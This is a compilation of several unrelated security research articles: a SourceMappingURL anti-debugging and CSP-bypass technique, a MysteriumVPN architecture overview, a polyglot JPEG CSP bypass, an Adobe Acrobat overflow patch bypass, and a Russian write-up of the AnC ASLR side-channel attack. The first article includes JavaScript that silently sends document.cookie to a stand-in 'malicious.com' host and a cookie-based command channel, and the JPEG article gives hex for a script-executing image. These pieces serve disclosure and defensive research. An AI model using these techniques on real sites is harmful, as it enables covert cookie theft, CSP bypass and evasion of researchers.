Javascript Anti Debugging — Some Next Level Sh*t (Part 1 — Abusing SourceMappingURL)

Original text by Gal Weizman

tl;dr — Abusing SourceMappingURL feature can allow attackers to create one of the strongest Cross Browsers Javascript Anti Debugging techniques that was ever seen (fully detailed live demo)

This was originally published on PerimeterX blog

This article’s purpose is to introduce a new Javascript Anti Debugging technique in an advanced level and therefore assumes the reader already has an understanding of the different aspects of web security and what Javascript Anti Debugging really is.

Not too long ago, I learned about SourceMappingURL feature, which basically allows you to fetch a Source Map for your Javascript resources. It will map minified/uglified Javascript code to its original source code, thus will allow developers to easily debug their source code in the browser, instead of struggling with debugging the minified/uglified one — pretty cool feature! (and pretty old as well)

All you need to do is to locate the following comment at the bottom of your minified/uglified Javascript resource:

// SourceMappingURL=https://www.my-website.com/map.json

and the browser will fetch the map from your servers (which you’ll also need to implement yourself in order for the feature to actually work), and will make sure to do the mapping and the representation of it for you (if this doesn’t make a lot of sense to you — go read more about SourceMappingURL!).

Two very important notes before we start:

SourceMappingURL feature is only activated when the devtools of the browser are open, since this is a development only feature and should not be a burden for the website while loading if the website is not being inspected!

Everything I am going to talk about here, is relevant to every major browser out there (was tested on Chrome, Safari, Firefox, Edge, Opera), However some might work in weaker forms. Please take into consideration that this feature did not exhibit 100% consistent behavior across browsers and versions, as achieving that was not a goal as part of this project — proof of concept was.

I was curious about its implementation and was wondering regarding its potential security issues, so I decided to have a look at it myself.

It had immediately drawn my attention when I realized its first interesting property:

If a script contains the SourceMappingURL= comment and is attached to the DOM, the browser will fire a request to the link specified after the = sign — but you won’t be able to tell that by looking at the devtools — you won’t see anything in the network panel nor the console panel — simply nowhere! The only way of telling that request had happened is by either using some sort of a network debugging proxy (such as fiddler or wireshark) or looking for that request in chrome://net-export in Chrome browser for example. The response to this request however cannot be captured by client side Javascript since it is being handled by the browser itself (because the browser is the one to get the source map and use it to map the bundled resources to the original resources).

Now that caught my attention! Being able to fire a hidden request from the browser! now that’s powerful. This is where I wondered about other properties this request might have that might be abused by attackers.

So firing a hidden request is awesome and everything, but it is just a static request. I mean, if I could dynamically construct the url to which the SourceMappingURL request should go, that would be even more powerful.

The following works:

function smap(url, data) { const script = document.createElement(‘script’); script.textContent = `// SourceMappingURL=${url}?data=${JSON.stringify(data)}`; document.head.appendChild(script); script.remove(); // that’s right! the script doesn’t even have to stay in DOM for this feature to work! how cool is that?! } smap(‘https://malicious.com/reportStolenCookies’, {cookie: document.cookie});

And since this works, I can leak any type of dynamic information I want from the browser at its current execution. I can steal cookies, report timestamp and generally collect any type of information I wish to report and simply add it to the SourceMappingURL in order to send it. This is some powerful stuff!

So far so good. But as I always do when I learn of a new trick to send requests from the browser — I tried to see if I can use this one to bypass CSP rules.

Wow! That one was a cool discovery in my research! So if I go on https://example.com for example and it responds with Content-Security-Policy: default-src https://example.com as one of its headers (which means requests under https://example.com are only allowed to be made to https://example.com), I would be able to bypass that rule completely by using the SourceMappingURL feature by doing:

// SourceMappingURL=http://malicious.com?THIS_REQUEST_WILL_MAKE_IT_TO_THE_SERVER.

This is pretty cool considering how difficult and almost impossible it is to bypass CSP rules these days.

Another cool property of SourceMappingURL feature is the fact that it can send non-secure requests via http: even if the main page was loaded via a secure connection over https:, a narrative that cannot be accomplished otherwise in the browser, since SSL downgrade is forbidden and is considered to be a serious security flaw.

So by this point I found some really cool hacks that by combining them all together, one can leak sensitive information while bypassing website’s CSP rules without it being documented whatsoever in the devtools, thus making it super hard to tell this strange activity took place in the victim’s browser.

So far so good. And then I was wondering to myself, if SourceMappingURL fires a request, does it have any of the other standard properties that any common request has? We already know that the response cannot be processed by the client side Javascript — so how is it similar to other types of network APIs in the browser? And then I’ve found the property that changed the game completely:

And that is the most powerful property of this feature — even though we don’t get to process the response ourselves, the browser respects response headers for this request, including Set-Cookie! This means an attacker can have a full request-and-response mechanism, simply by having their server inject the response in the cookie header instead of the actual response!

function smap ( … ) { … } // same as in the snippent above.. const i = setInterval( () => { const response = getCookieValueByCookieName(‘SMAP_RESPONSES’); if (!response) return; deleteCookieByCookieName(‘SMAP_RESPONSES’); clearInterval(i); alert(‘server says that 1 + 2 is ‘ + response); }, 100 ); smap(‘http://malicious.com/sum’, {a: 1, b: 2});

Wait, This sounds much more powerful than simply just a Javascript Anti Debugging Technique — why stop there?

So, as I said before, the SourceMappingURL request is only fired when:

And that takes a lot of this finding’s power since it means that everything I have found so far is only relevant when the devtools are open.

HOWEVER…

Since SourceMappingURL feature

  • fires a request the second devtools are being opened
  • is completely silent about sending the request
  • bypasses CSP rules completely
  • respects headers and cookies

It can actually be used as a very strong Javascript Anti Debugging technique!

How? (in a couple of words…)

By using SourceMappingURL feature’s power, an attacker can make sure their code will inform their servers the second the browser has its devtools opened.

In the response, the attacker can mark that browser with a cookie that will identify that browser as a potential hazard for the hacker. With that mark, the attacker can choose to do whatever, probably to serve that browser with an innocent Javascript code instead of their malicious code until the marking cookie is expired.

Or instead, the attacker can respond with a cookie that will contain data that the malicious Javascript code relies on in order to determine its next steps (a variation of a C&C Client-Server mechanism if you will).

The server for example can respond with Set-Cookie: SMAP_COMMAND=while(1){} and the client side can execute any command given to it by the server.

Also, on top of that request, the attacker can also leak any type of information they wish to steal from the victim.

And on top of everything, it will be extremely hard for any researcher to find this malicious activity since the request leaves no trace of its occurrence (and even harder if the attacker actually decides to avoid malicious code execution on that specific browser once it was marked as a “devtools opener”).

“I don’t quite understand… I need some live examples”

That’s fair! This concept is not super easy to grasp just by reading, it is definitely worth seeing it works on live. Lucky for you, I’ve created a thorough technical demo that attempts to fully explain and demonstrate everything mentioned here.

You are encouraged to check it out and let me know what you think of it!

“Wait, you said this was Part 1, Is there a Part 2?”

Oh, right! In the next article I will cover another interesting ability I’ve found that only exists in browsers that use Chromium’s devtools.

It is another cool trick that can assist hackers in better understanding the researchers actions when trying to uncover them, and also protect only very specific parts of their malicious code, thus making it even harder for researchers to catch them.

I will post the link here once it is done 🙂

To sum up

As someone who has experienced the world of web security and hacking quite a lot in my military service, I can tell you that this trick right here will take the game to the next level if used correctly.

Revealing malicious activity in the browser is much harder for researchers when there are actions made by the attacker that take place in the browser without the researcher being able to tell that they even happened!

Correctly implementing this trick into an attacking exploit kit will significantly reduce the chances of being uncovered by researchers (maybe not so much though, now that this article is publicly published) by basically filtering those out of the way and only attacking the innocents.

This trick can of course be very helpful not only to attackers but to other entities as well (such as big companies who want to alter their code when it is being investigated by researchers for example).

This technique has been responsibly disclosed to the chromium project more than 90 days before publishing this article.

Hope you guys enjoyed this! 🙂

This research was conducted and published by Gal Weizman on behalf of PerimeterX Inc.

A look under the hood of a decentralised VPN Application.

( original text byDonatas Kučinskas )

MysteriumVPN is the client application of Mysterium Network, a project focused on providing security and privacy to web 3 applications.

In this article, we will discuss the architecture of MysteriumVPN and how it integrates with Mysterium Node to ensure an encrypted end to end flow of data through Mysterium Network.

Cross-platform architecture

Usually, you need separate builds for each platform. Now that cross-platform technology has improved, this is no longer the case.

For desktop:

Electron is a framework which allows us to build cross-platform applications using common web technologies such as HTMLCSS and Javascript. We are using Electron which allows us to develop one application for two platforms for desktop — Windows and Mac OSLinux coming soon. Download our alpha.

Under the hood of an Electron application, sits a Chromium browser; A website, rendered by an embedded browser.

For mobile:

We are kicking off our mobile development for MysteriumVPN, with Android versions set to release shortly.

For this, we are using React Native for cross-platform applications.

Most of MysteriumVPN is written in Javascript, which is run in a separate process. Javascript generates the virtual structure of the user interface. This Javascript process communicates to native mobile processes which are responsible for rendering the actual user interface as you see it.

The architecture of MysteriumVPN Desktop Client Application

How MysteriumVPN works on desktop:

Since we are using Electron, we have two processes, MAIN and RENDERER.

MAIN is the first process which is started when the application starts. It is a NodeJS process which is responsible for managing the following functions:

  • Application state and internal operations
  • Tray
  • Kicking off the RENDERER process

The second process is RENDERER and it is responsible for displaying the graphical user interface for the application.

Communication between processes:

Both the MAIN and RENDERER processes need to communicate with each other to stay in sync. For this reason, we are using a standard approach of Inter-Process Communication (IPC).

Javascript is not type-safe, which isn’t very reliable. We use Flow static type checker which adds type-safety for Javascript. This especially applies to syncing data between processes — it becomes less reliable when using out-of-the-box IPC. To improve that, with custom implementation on top to have type-safety.

MessageTransport describes a single typed message which is sent between processes. It creates alignment between both processes by introducing sender and receiver objects, ensuring that both sides expect the same arguments of this message.

Here is an implementation:

class MessageTransport<T> {
 _channel: string
 _messageBus: MessageBus
constructor (channel: string, messageBus: MessageBus) {
 this._channel = channel
 this._messageBus = messageBus
 }
buildSender (): MessageSender<T> {
 return new MessageSender(this._channel, this._messageBus)
 }
buildReceiver (): MessageReceiver<T> {
 return new MessageReceiver(this._channel, this._messageBus)
 }
}
class MessageSender<T> {
 _channel: string
 _messageBus: MessageBus
constructor (channel: string, messageBus: MessageBus) {
 this._channel = channel
 this._messageBus = messageBus
 }
send (data: T) {
 this._messageBus.send(this._channel, data)
 }
}
class MessageReceiver<T> {
 _channel: string
 _messageBus: MessageBus
constructor (channel: string, messageBus: MessageBus) {
 this._channel = channel
 this._messageBus = messageBus
 }
on (callback: T => void) {
 this._messageBus.on(this._channel, callback)
 }
removeCallback (callback: T => void) {
 this._messageBus.removeCallback(this._channel, callback)
 }
}

Here is an example of communication between both these MAIN and RENDERER processes:

Example: communicating country proposal updates between processes:

MAIN process is managing country proposals internally and it sends all updates:

this._countryList.onUpdate(countries => {
  this._communication.countryUpdate.send(countries)
})

RENDERER process listens for country updates,

this.rendererCommunication.countryUpdate.on(this.onCountriesUpdate)
...
onCountriesUpdate (countries) {
  this.countriesAreLoading = false
  this.countryList = countries
}

Having such an abstraction layer ensures that communication is type-safe, reliable and features around it are simple to test.

How do we integrate Mysterium Node with MysteriumVPN Application?

Once we’ve rendered the application layer, we still need to connect MysteriumVPN to Mysterium NodeMysterium Nodeis a software that connects you to Mysterium Network where you are able to exchange value for bandwidth.

MysteriumVPN is a client application of Mysterium Network. The successful running of our dVPN on the network will attract other use cases from existing or future businesses that require end-to-end encryption of data, thereby expanding Mysterium Network’s ecosystem.

We require specific information to ensure the successful running of our dVPNservice.

Operation System Service
Since we are running Mysterium Node under the MysteriumVPN application we need to supervise the Mysterium Node to ensure that it works.

Our Data Protection Policy
We make a clear distinction between personal data and usage data. We do not collect information on who you are. We collect data on session and connection inputs and outputs. This is important data for us as it gives us visibility on how our technology fares against the realities of cyber oppression. Check out our privacy policy for more information.

Logging
Since we are integrating Mysterium Node into the MysteriumVPN application, the application itself gets quite complex. That’s why we have to be prepared to log errors from everywhere, — our application, Mysterium Node, and from Electron.

That means that there are three sources of inputs. When we are inspecting something, we need to understand that these errors can happen in three different places. We need to synchronise those and collect all relevant data from these sources.

Data management in the era of web 3 is complex and we hope to do so in an ethical and fair manner. Check out how our no logs policy protects your personal data.

Build on Mysterium Network

We have an npm package that allows for you to connect to Mysterium Nodeeasily. This is the same package that the MysteriumVPN uses to connect to Mysterium Network. This can be used for any application — it’s literally plug and play.

Interested in contributing to Mysterium Network? We are an open source project focused on bringing privacy, security and freedom to web 3. Check out our Github.

Bypassing CSP using polyglot JPEGs

James challenged me to see if it was possible to create a polyglot JavaScript/JPEG. Doing so would allow me to bypass CSP on almost any website that hosts user-uploaded images on the same domain. I gleefully took up the challenge and begun dissecting the format. The first four bytes are a valid non-ASCII JavaScript variable 0xFF 0xD8 0xFF 0xE0. Then the next two bytes specify the length of the JPEG header. If we make that length of the header 0x2F2A using the bytes 0x2F 0x2A as you might guess we have a non-ASCII variable followed by a multi-line JavaScript comment. We then have to pad out the JPEG header to the length of 0x2F2A with nulls. Here’s what it looks like:

FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00....

Inside a JPEG comment we can close the JavaScript comment and create an assignment for our non-ASCII JavaScript variable followed by our payload, then create another multi-line comment at the end of the JPEG comment.

FF FE 00 1C 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A

0xFF 0xFE is the comment header 0x00 0x1C specifies the length of the comment then the rest is our JavaScript payload which is of course */=alert(«Burp rocks.»)/*

Next we need to close the JavaScript comment, I edited the last four bytes of the image data before the end of image marker. Here’s what the end of the file looks like:

2A 2F 2F 2F FF D9

0xFF 0xD9 is the end of image marker. Great so there is our polyglot JPEG, well not quite yet. It works great if you don’t specify a charset but on Firefox when using a UTF-8 character set for the document it corrupts our polyglot when included as an script! On MDN it doesn’t state that the script supports the charset attribute but it does. So to get the script to work you need to specify the ISO-8859-1 charset on the script tag and it executes fine.

It’s worth noting that the polyglot JPEG works on Safari, Firefox, Edge and IE11. Chrome sensibly does not execute the image as JavaScript.

Here is the polyglot JPEG:

Polyglot JPEG

The code to execute the image as JavaScript is as follows:

<script charset="ISO-8859-1" src="http://portswigger-labs.net/polyglot/jpeg/xss.jpg"></script>

File size restrictions

I attempted to upload this graphic as a phpBB profile picture but it has restrictions in place. There is a 6k file size limit and maximum dimensions of 90×90. I reduced the size of the logo by cropping and thought about how I could reduce the JPEG data. In the JPEG header I use /* which in hex is 0x2F and 0x2A, combined 0x2F2A which results in a length of 12074 which is a lot of padding and will result in a graphic far too big to fit as a profile picture. Looking at the ASCII table I tried to find a combination of characters that would be valid JavaScript and reduce the amount of padding required in the JPEG header whilst still being recognised as a valid JPEG file.

The smallest starting byte I could find was 0x9 (a tab character) followed by 0x3A (a colon) which results in a combined hex value of 0x093A (2362) that shaves a lot of bytes from our file and creates a valid non-ASCII JavaScript label statement, followed by a variable using the JFIF identifier. Then I place a forward slash 0x2F instead of the NULL character at the end of the JFIF identifier and an asterisk as the version number. Here’s what the hex looks like:

FF D8 FF E0 09 3A 4A 46 49 46 2F 2A

Now we continue the rest of the JPEG header then pad with NULLs and inject our JavaScript payload:

FF D8 FF E0 09 3A 4A 46 49 46 2F 2A 01 01 00 48 00 48 00 00 00 00 00 00 00 ... (padding more nulls) 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A

Here is the smaller graphic:

Polyglot JPEG smaller

Impact

If you allow users to upload JPEGs, these uploads are on the same domain as your app, and your CSP allows script from «self», you can bypass the CSP using a polyglot JPEG by injecting a script and pointing it to that image.

Conclusion

In conclusion if you allow JPEG uploads on your site or indeed any type of file, it’s worth placing these assets on a separate domain. When validating a JPEG, you should rewrite the JPEG header to ensure no code is sneaked in there and remove all JPEG comments. Obviously it’s also essential that your CSP does not whitelist your image assets domain for script.

This post wouldn’t be possible without the excellent work of Ange Albertini. I used his JPEG format graphicextensively to create the polygot JPEG. Jasvir Nagra also inspired me with his blog post about polyglot GIFs.

PoC 

RCE in Adobe Acrobat, describes the buffer overflow and shows how the researcher bypassed the original patch in a couple of hours.

Introduction

Over the past couple of years we’ve seen a spike in vulnerabilities affecting Adobe products, with Adobe Acrobat and Reader having a decent share of attention during that increase of submissions. While most of these vulnerabilities are simple file parsing issues, there have been quite a few interesting XML Forms Architecture (XFA) and JavaScript vulnerabilities, as well.

JavaScript vulnerabilities specifically have always been interesting for attackers due to the amount of control they give the attacker over the bug (allocations/frees/spraying etc.). Many vulnerabilities exist in the JavaScript engine within Acrobat, as evidenced by the 80 advisories we’ve published concerning Acrobat just this year. As such, the patches for Acrobat should be as robust as possible. However, this is not always the case.

Throughout this blog post, I will discuss a vulnerability that we received through the program (ZDI-18-173) that affected the setIntent Optional Content Groups (OCG) JavaScript function. This vulnerability is interesting because it looks similar to what we’ve been seeing in the browser world and due to the way Adobe tried to patch it.

Overview

OCGs are used to control the visibility of page contents. In Acrobat, it is possible to create and control these layers through JavaScript.

For example, we can create a simple OCG through the addWatermarkFromText function:

this.addWatermarkFromText(“AAA”);

We can retrieve the OCGs through the getOCGs function:

this.getOCGs();

OCG objects expose various properties and methods that allow us to control the layers to a certain extent. One method of interest is the setIntent method. This method is used to set the OCG intent array.

According to the JavaScript API reference, this function takes an array as an argument. We can verify this from the console:

The Bug

setIntent is implemented inside Escript.api, which is located inside the plug-ins folder in Acrobat. I won’t dig into how to locate setIntent in Escript in this blog — we’ll cover that in a future MindshaRE blog.

For now, let’s assume that we located setIntent in Escript:

I’ve removed portions of the decompiled code of the sub_238B9F62 function and only kept the portions that are relevant:

At [1] in Figure 2 above, the length property of the array is retrieved and is fully controlled by the attacker. Then at [3] in the figure above, memory is allocated based on the size computed at [2]. Finally, at [4], the length is used in a loop that overflows the allocated buffer:

The POC

Logically, any value that causes the wrap ( > 0x7FFFFFFF) takes the vulnerable code path. Hence, this fact should be taken into consideration when fixing the bug. Nevertheless, Adobe’s developers decided to take a shortcut with the patch:

They wanted to make sure that the size is not exactly 0x7FFFFFFF. Obviously, this was an inadequate response because that’s not the only value that triggers the bugs.

Once the patch was out, the researcher did not waste any time. He literally sent us the patch bypass a couple of hours later. The POC looks exactly the same as the original POC with a minor change: setting the array length with 0xFFFFFFFF instead of 0x7FFFFFFF. Again, any value greater than 0x7FFFFFFF would work. Here’s the bypass:

This time, the developers at Adobe realized that simple value checks won’t cut it and came up with the following solution to avoid the integer wrap:

Conclusion

It’s amazing how huge the attack surface is for Adobe Acrobat. It’s also amazing to think how many systems have Acrobat installed. What makes it even more interesting is the lack of advanced mitigations, which makes it relatively easier to target than other applications. Add to that some less than proper patching, and it’s easy to see why it remains a popular target for researchers.

When compared to some other vendors, there’s still a long way for Acrobat to catch up with the modern mitigation game, and we’ll be watching their improvements closely. Until then, Acrobat will likely remain an attractive target for bug hunters.

Derandomization of ASLR on any modern processors using JavaScript

 


Запись обращений к кэшу устройством управления памятью (MMU) в процессоре по мере вызова страниц по особому паттерну, разработанному для выявления различий между разными уровнями иерархии таблиц. Например, паттерн «лесенки» (слева) указывает на первый уровень иерархии, то есть PTL1, при вызове страниц по 32K. Для других уровней иерархии тоже есть методы выявленияПятеро исследователей из Амстердамского свободного университета (Нидерланды) доказали фундаментальную уязвимость техники защиты памяти ASLR на современных процессорах. Они выложили исходный код и подробное описание атаки AnC (ASLR⊕Cache), которой подвержены практически все процессоры.

Исследователи проверили AnC на 22 процессорах разных архитектур — и не нашли ни одного, который был бы защищён от такого рода атаки по стороннему каналу. Это и понятно, ведь во всех процессорах используется буфер динамической трансляции для кэширования адресов памяти, которые транслируются в виртуальные адреса. Защититься от этой атаки можно только отключив кэш процессора.

Рандомизация размещения адресного пространства (ASLR) — технология, применяемая в операционных системах, при использовании которой случайным образом изменяется расположение в адресном пространстве процесса важных структур данных, а именно образов исполняемого файла, подгружаемых библиотек, кучи и стека. Технология создана для усложнения эксплуатации нескольких типов уязвимостей. Предполагается, что она должна защищать память от эксплойтов с переполнением буфера — якобы ASLR не даст злоумышленнику узнать, по какому конкретно адресу размещаются структуры данных после переполнения, куда можно записать шелл-код.

В прошлом исследователи несколько раз показывали, что защиту ASLR можно обойти в некоторых случаях. Например, если у злоумышленника есть полные права в системе, он может сломать ASLR на уровне ядра ОС. Но в типичных условиях — против атаки через браузер — ASLR считалась вполне надёжной защитой. Теперь нет.

В 2016 году эта же группа голландских специалистов показала, как с помощью JavaScript обойти защиту ASLR в браузере Microsoft Edge, используя атаку по стороннему каналу дедупликации памяти. Microsoft быстро отключила дедубликацию памяти, чтобы защитить своих пользователей. Но это не решило проблему ASLR на фундаментальном уровне, связанную с работой самого устройства управления памятью (MMU) в процессорах.

В современных процессорах модуль MMU использует иерархию кэша для улучшения производительности прохода по иерархическим таблицам страниц в памяти. Это неотъемлемая функция современных процессоров. Корень проблемы в том, что кэш L3 доступен для любых сторонних приложений, в том числе скриптов JavaScript из браузера.


Организация памяти в современном процессоре Intel

Хакеры сумели определить средствами JavaScript, к каким страницам в таблицах страниц чаще всего обращается модуль MMU. Точность определения вполне достаточна для обхода ASLR даже с энтропией 36 бит.

Принцип атаки

Принцип атаки ASLR⊕Cache основан на том, что в результате прохода MMU по таблицам страниц происходит их запись в кэш процессора. Эта операция осуществляется и во время трансляции виртуального адреса в соответствующий ему физический адрес в памяти. Таким образом, буфер динамической трансляции (TLB) в каждом процессоре всегда хранит самые последние трансляции адресов.

Если происходит промах мимо кэша TLB, то модулю MMU придётся пройти по всем таблицам страниц конкретного процесса (тоже хранящимся в основной памяти), чтобы выполнить трансляцию. Для улучшения производительности MMU в такой ситуации таблицы страниц кэшируются в быстром кэше процессора L3 для ускорения доступа к ним.

Получается, что при использовании механизма безопасности ASLR сами таблицы страниц становятся хранителем секретной информации: начальный номер записи таблицы страниц (через offset) на каждом уровне содержит часть секретного виртуального адреса, который использовался при трансляции.


Проход MMU по таблице страниц для трансляции адреса 0x644b321f4000 в соответствующую страницу памяти на архитектуре x86_64

Хакеры разработали специальную технику сканирования памяти (им нужны были таймеры получше, чем есть в браузерах), чтобы определить наборы кэша (конкретные строки в секторированном кэше прямого отображения), к которым обращается MMU после таргетированного прохода по таблицам страниц, когда происходит разыменование указателя данных или исполнение инструкции кода. Поскольку только определённые адреса могут соответствовать определённым наборам кэша, то получение информации об этих наборах выдаёт начальные номера записей нужных записей таблиц страниц на каждом уровне иерархии — и, таким образом, дерандомизирует ASLR.

Исследователи протестировали эксплойт в Chrome и Firefox на 22-ти современных процессорах и показали его успешную работу.


Успешность атаки в Chrome и Firefox и процент ложных срабатываний

Не спасают даже встроенные механизмы защиты вроде умышленной поломки разработчиками браузеров точного JavaScript-таймера performance.now().


Сломанный таймер performance.now() в Chrome и Firefox

Авторы эксплойта написали собственный таймер.

Демонстрация атаки в Firefox

Атака проверена на следующих процессорах:

Модель процессора Микроархитектура Год
Intel Xeon E3-1240 v5 Skylake 2015
Intel Core i7-6700K Skylake 2015
Intel Celeron N2840 Silvermont 2014
Intel Xeon E5-2658 v2 Ivy Bridge EP 2013
Intel Atom C2750 Silvermont 2013
Intel Core i7-4500U Haswell 2013
Intel Core i7-3632QM Ivy Bridge 2012
Intel Core i7-2620QM Sandy Bridge 2011
Intel Core i5 M480 Westmere 2010
Intel Core i7 920 Nehalem 2008
AMD FX-8350 8-Core Piledriver 2012
AMD FX-8320 8-Core Piledriver 2012
AMD FX-8120 8-Core Bulldozer 2011
AMD Athlon II 640 X4 K10 2010
AMD E-350 Bobcat 2010
AMD Phenom 9550 4-Core K10 2008
Allwinner A64 ARM Cortex A53 2016
Samsung Exynos 5800 ARM Cortex A15 2014
Samsung Exynos 5800 ARM Cortex A7 2014
Nvidia Tegra K1 CD580M-A1 ARM Cortex A15 2014
Nvidia Tegra K1 CD570M-A1 ARM Cortex A15; LPAE  2014

К сожалению, описание этой техники в открытом доступе может снова сделать эффективными старые способы атаки на кэш, от которых вроде бы уже давно защитились.

В данный момент атака AnC задокументирована в четырёх бюллетенях безопасности:

  • CVE-2017-5925 — для процессоров Intel;
  • CVE-2017-5926 — для процессоров AMD;
  • CVE-2017-5927 — для процессоров ARM;
  • CVE-2017-5928 — для JavaScript-тайеров в разных браузерах.

По мнению авторов, единственным способом защиты для пользователя является использование программ вроде NoScript, которые блокирует выполнение сторонних скриптов JavaScript в браузере.